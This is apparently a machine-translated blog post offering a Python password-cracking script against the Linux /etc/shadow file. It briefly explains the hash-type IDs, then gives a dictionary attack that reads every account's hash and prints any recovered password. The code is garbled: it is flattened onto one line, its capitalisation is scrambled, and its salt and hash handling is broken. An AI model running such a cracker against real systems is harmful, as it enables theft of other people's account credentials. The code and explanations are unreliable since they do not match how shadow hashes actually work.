Linux Shadow file hack program
Parsing the contents of a password string in a shadow file
The ID is 1 o'clock and is encrypted with MD5;
id is 5 o'clock and SHA256 is used for encryption;
id is 6 o'clock, encrypted with SHA512.
# -*- coding: utf-8 -*-import cryptimport sysimport hashlibdictionary= SYS.ARGV[1]DEF ENMD5 (Word,salt): md5_obj=hashlib.md5 () md5_ Obj.update (Word+salt) return md5_obj.hexdigest () def ensha512 (Word,salt): sha512_obj=hashlib.sha512 () sha512_obj.update (Word+salt) return sha512_obj.hexdigest () Def testpass (cryptpass): salt= Cryptpass[0:2] dictfile=open (dictionary, ' r ') for word In dictfile.readlines (): word=word.strip (' \ n ') if salt== ' $ ': cryptword=crypt.crypt (Word,salt) elif salt== ' $ $ ':           CRYPTWORD=ENMD5 (Word,salt) elif salt== ' $6 ': cryptword=ensha512 (Word,salt) else: return if (Cryptword==cryptpass): print "[+] found password:" +word+ "\ n" return print "[-] password not found.\n " returndef main (): Passfile=open ('/etc/shadow ') for line in passfile.readlines (): if ":" in line: user=line.split (': ') [0] cryptpass =line.split (': ') [1].strip (' ') print "[*] cracking password for:" +user testpass (Cryptpass) if __name__== "__main__": main ()
This article is from the "rookie study Notes" blog, please be sure to keep this source http://bohel.blog.51cto.com/6218546/1954113
Linux Shadow file hack